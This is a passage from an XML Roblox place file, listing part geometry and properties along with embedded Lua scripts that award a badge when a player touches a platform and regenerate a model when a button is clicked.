										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
								</Item>
							</Item>
							<Item class="Part" referent="RBX3431">
								<Properties>
									<bool name="Anchored">false</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">2</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">4</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">194</int>
									<CoordinateFrame name="CFrame">
										<X>-1833.5</X>
										<Y>10.8000603</Y>
										<Z>59.5999756</Z>
										<R00>0</R00>
										<R01>0</R01>
										<R02>1</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>-1</R20>
										<R21>-0</R21>
										<R22>-0</R22>
									</CoordinateFrame>
									<bool name="CanCollide">false</bool>
									<float name="Elasticity">0.5</float>
									<token name="FormFactor">2</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">0</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">0</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Jaw </string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">0</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0.00103041832</X>
										<Y>0.000177318463</Y>
										<Z>-0.000409811095</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">2</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0</float>
									<Vector3 name="Velocity">
										<X>-0.00185018755</X>
										<Y>0.00910159014</Y>
										<Z>0.0040068198</Z>
									</Vector3>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>8</X>
										<Y>1.60000002</Y>
										<Z>1</Z>
									</Vector3>
								</Properties>
								<Item class="SpecialMesh" referent="RBX3432">
									<Properties>
										<bool name="Archivable">true</bool>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<Content name="MeshId"><null></null></Content>
										<token name="MeshType">2</token>
										<string name="Name">Mesh</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
										<Content name="TextureId"><null></null></Content>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
								</Item>
							</Item>
							<Item class="Part" referent="RBX3433">
								<Properties>
									<bool name="Anchored">false</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">0</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">4</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">1004</int>
									<CoordinateFrame name="CFrame">
										<X>-1832</X>
										<Y>11.6000605</Y>
										<Z>59.5999756</Z>
										<R00>0</R00>
										<R01>0</R01>
										<R02>-1</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>1</R20>
										<R21>-0</R21>
										<R22>0</R22>
									</CoordinateFrame>
									<bool name="CanCollide">false</bool>
									<float name="Elasticity">0.5</float>
									<token name="FormFactor">2</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">0</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">0</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Jaw </string>
									<float name="Reflectance">0.100000001</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">0</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0.00103041832</X>
										<Y>0.000177318463</Y>
										<Z>-0.000409811095</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">0</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0.699999988</float>
									<Vector3 name="Velocity">
										<X>-0.0015223386</X>
										<Y>0.00848687347</Y>
										<Z>0.00456517702</Z>
									</Vector3>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>2</X>
										<Y>0.800000012</Y>
										<Z>2</Z>
									</Vector3>
								</Properties>
								<Item class="SpecialMesh" referent="RBX3434">
									<Properties>
										<bool name="Archivable">true</bool>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<Content name="MeshId"><null></null></Content>
										<token name="MeshType">3</token>
										<string name="Name">Mesh</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>4</X>
											<Y>3.79999995</Y>
											<Z>1.20000005</Z>
										</Vector3>
										<Content name="TextureId"><null></null></Content>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
								</Item>
							</Item>
							<Item class="Part" referent="RBX3435">
								<Properties>
									<bool name="Anchored">false</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">0</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">0</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">194</int>
									<CoordinateFrame name="CFrame">
										<X>-1832</X>
										<Y>10.0000601</Y>
										<Z>63.0999756</Z>
										<R00>0</R00>
										<R01>0</R01>
										<R02>-1</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>1</R20>
										<R21>0</R21>
										<R22>0</R22>
									</CoordinateFrame>
									<bool name="CanCollide">false</bool>
									<float name="Elasticity">0.5</float>
									<token name="FormFactor">2</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">0</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">0</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Jaw </string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">0</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0.00103041832</X>
										<Y>0.000177318463</Y>
										<Z>-0.000409811095</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">0</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0</float>
									<Vector3 name="Velocity">
										<X>-0.00155742187</X>
										<Y>0.00488040922</Y>
										<Z>0.00291650719</Z>
									</Vector3>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>1</X>
										<Y>4</Y>
										<Z>2</Z>
									</Vector3>
								</Properties>
								<Item class="SpecialMesh" referent="RBX3436">
									<Properties>
										<bool name="Archivable">true</bool>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<Content name="MeshId"><null></null></Content>
										<token name="MeshType">3</token>
										<string name="Name">Mesh</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>20</X>
											<Y>1</Y>
											<Z>2</Z>
										</Vector3>
										<Content name="TextureId"><null></null></Content>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
								</Item>
							</Item>
							<Item class="Part" referent="RBX3437">
								<Properties>
									<bool name="Anchored">false</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">2</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">3</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">1004</int>
									<CoordinateFrame name="CFrame">
										<X>-1829</X>
										<Y>8.80006027</Y>
										<Z>65.0999756</Z>
										<R00>-1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>-1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<bool name="CanCollide">true</bool>
									<float name="Elasticity">0.5</float>
									<token name="FormFactor">2</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">0</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">0</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Jaw </string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">2</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0.00103041832</X>
										<Y>0.000177318463</Y>
										<Z>-0.000409811095</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">2</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0</float>
									<Vector3 name="Velocity">
										<X>-0.00169455819</X>
										<Y>0.00159013958</Y>
										<Z>0.00114804995</Z>
									</Vector3>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>2</X>
										<Y>3.20000005</Y>
										<Z>7</Z>
									</Vector3>
								</Properties>
								<Item class="SpecialMesh" referent="RBX3438">
									<Properties>
										<bool name="Archivable">true</bool>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<Content name="MeshId"><null></null></Content>
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				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">2</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>6</X>
					<Y>1.20000005</Y>
					<Z>6</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX3529">
				<Properties>
					<bool name="Archivable">true</bool>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=48040081</url></Content>
					<float name="Transparency">0</float>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX3530">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><url>http://www.roblox.com/asset/?id=13326026</url></Content>
					<string name="Name">BadgeAwarderScript</string>
					<ProtectedString name="Source">print(&quot;Badge Awarder Loaded. BadgeID: &quot; .. script.Parent.BadgeID.Value)



-- ROBLOX scripter hackers, see what you can do with this:
-- game:GetService(&quot;BadgeService&quot;):UserHasBadge(userid, badgeid)


function OnTouch(part)
	if (part.Parent:FindFirstChild(&quot;Humanoid&quot;) ~= nil) then
		local p = game.Players:GetPlayerFromCharacter(part.Parent)
		if (p ~= nil) then
			print(&quot;Awarding BadgeID: &quot; ..script.Parent.BadgeID.Value .. &quot; to UserID: &quot; .. p.userId)
			local b = game:GetService(&quot;BadgeService&quot;)
			b:AwardBadge(p.userId, script.Parent.BadgeID.Value)
		end
	end
end

script.Parent.Touched:connect(OnTouch)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="IntValue" referent="RBX3531">
				<Properties>
					<bool name="Archivable">true</bool>
					<string name="Name">BadgeID</string>
					<int name="Value">48040128</int>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX3532">
			<Properties>
				<bool name="Anchored">false</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">21</int>
				<CoordinateFrame name="CFrame">
					<X>-1745</X>
					<Y>26.6000004</Y>
					<Z>81</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>108</X>
					<Y>1.20000005</Y>
					<Z>142</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX3533">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">194</int>
				<CoordinateFrame name="CFrame">
					<X>-1733</X>
					<Y>3.79999995</Y>
					<Z>85.5</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>-0</R02>
					<R10>-0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1056</token>
				<string name="Name">Base</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>236</X>
					<Y>6</Y>
					<Z>155</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX3534">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">2</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">2</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1003</int>
				<CoordinateFrame name="CFrame">
					<X>-1642</X>
					<Y>8.60000038</Y>
					<Z>103</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">2</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">2</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Platform</string>
				<float name="Reflectance">1</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">2</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">2</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>6</X>
					<Y>1.20000005</Y>
					<Z>6</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX3535">
				<Properties>
					<bool name="Archivable">true</bool>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=48040081</url></Content>
					<float name="Transparency">0</float>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX3536">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><url>http://www.roblox.com/asset/?id=13326026</url></Content>
					<string name="Name">BadgeAwarderScript</string>
					<ProtectedString name="Source">print(&quot;Badge Awarder Loaded. BadgeID: &quot; .. script.Parent.BadgeID.Value)



-- ROBLOX scripter hackers, see what you can do with this:
-- game:GetService(&quot;BadgeService&quot;):UserHasBadge(userid, badgeid)


function OnTouch(part)
	if (part.Parent:FindFirstChild(&quot;Humanoid&quot;) ~= nil) then
		local p = game.Players:GetPlayerFromCharacter(part.Parent)
		if (p ~= nil) then
			print(&quot;Awarding BadgeID: &quot; ..script.Parent.BadgeID.Value .. &quot; to UserID: &quot; .. p.userId)
			local b = game:GetService(&quot;BadgeService&quot;)
			b:AwardBadge(p.userId, script.Parent.BadgeID.Value)
		end
	end
end

script.Parent.Touched:connect(OnTouch)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="IntValue" referent="RBX3537">
				<Properties>
					<bool name="Archivable">true</bool>
					<string name="Name">BadgeID</string>
					<int name="Value">48040128</int>
				</Properties>
			</Item>
		</Item>
		<Item class="SpawnLocation" referent="RBX3538">
			<Properties>
				<bool name="AllowTeamChangeOnTouch">true</bool>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">2</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">2</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1004</int>
				<CoordinateFrame name="CFrame">
					<X>-1642</X>
					<Y>7.4000001</Y>
					<Z>103</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>-0</R02>
					<R10>-0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<int name="Duration">10</int>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">2</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">2</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">SpawnLocation</string>
				<bool name="Neutral">false</bool>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">2</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<int name="TeamColor">1004</int>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>6</X>
					<Y>1.20000005</Y>
					<Z>6</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX3539">
				<Properties>
					<bool name="Archivable">true</bool>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>rbxasset://Textures/SpawnLocation.png</url></Content>
					<float name="Transparency">0</float>
				</Properties>
			</Item>
			<Item class="Fire" referent="RBX3540">
				<Properties>
					<bool name="Archivable">true</bool>
					<Color3 name="Color">4294946048</Color3>
					<bool name="Enabled">false</bool>
					<string name="Name">Fire</string>
					<Color3 name="SecondaryColor">4294901760</Color3>
					<float name="heat_xml">25</float>
					<float name="size_xml">30</float>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX3541">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">23</int>
				<CoordinateFrame name="CFrame">
					<X>-180</X>
					<Y>26.6000004</Y>
					<Z>267.5</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>-0</R02>
					<R10>-0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1056</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>14</X>
					<Y>1.20000005</Y>
					<Z>7</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Model" referent="RBX3542">
			<Properties>
				<bool name="Archivable">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Model</string>
				<Ref name="PrimaryPart">null</Ref>
			</Properties>
			<Item class="Part" referent="RBX3543">
				<Properties>
					<bool name="Anchored">true</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">104</int>
					<CoordinateFrame name="CFrame">
						<X>-239</X>
						<Y>7</Y>
						<Z>264</Z>
						<R00>-1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">2</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Button1</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>4</X>
						<Y>0.400000006</Y>
						<Z>4</Z>
					</Vector3>
				</Properties>
				<Item class="ClickDetector" referent="RBX3544">
					<Properties>
						<bool name="Archivable">true</bool>
						<float name="MaxActivationDistance">100</float>
						<string name="Name">ClickDetector</string>
					</Properties>
				</Item>
				<Item class="Fire" referent="RBX3545">
					<Properties>
						<bool name="Archivable">true</bool>
						<Color3 name="Color">4294948864</Color3>
						<bool name="Enabled">false</bool>
						<string name="Name">Fire</string>
						<Color3 name="SecondaryColor">4294901760</Color3>
						<float name="heat_xml">25</float>
						<float name="size_xml">30</float>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX3546">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">regen</string>
						<ProtectedString name="Source">-- dark886&apos;s click regen script 
-- just place this script to the button
-- just place the button to the model
-- just place the model to anywhere lol

location = script.Parent.Parent.Parent
regen = script.Parent.Parent
save = regen:clone()

function onClicked()
	regen:remove()
	back = save:clone()
	back.Parent = location
	back:MakeJoints()
end 

script.Parent.ClickDetector.MouseClick:connect(onClicked)</ProtectedString>
					</Properties>
				</Item>
				<Item class="ForceField" referent="RBX3547">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">ForceField</string>
					</Properties>
				</Item>
			</Item>
			<Item class="Model" referent="RBX3548">
				<Properties>
					<bool name="Archivable">true</bool>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Transport</string>
					<Ref name="PrimaryPart">null</Ref>
				</Properties>
				<Item class="Model" referent="RBX3549">
					<Properties>
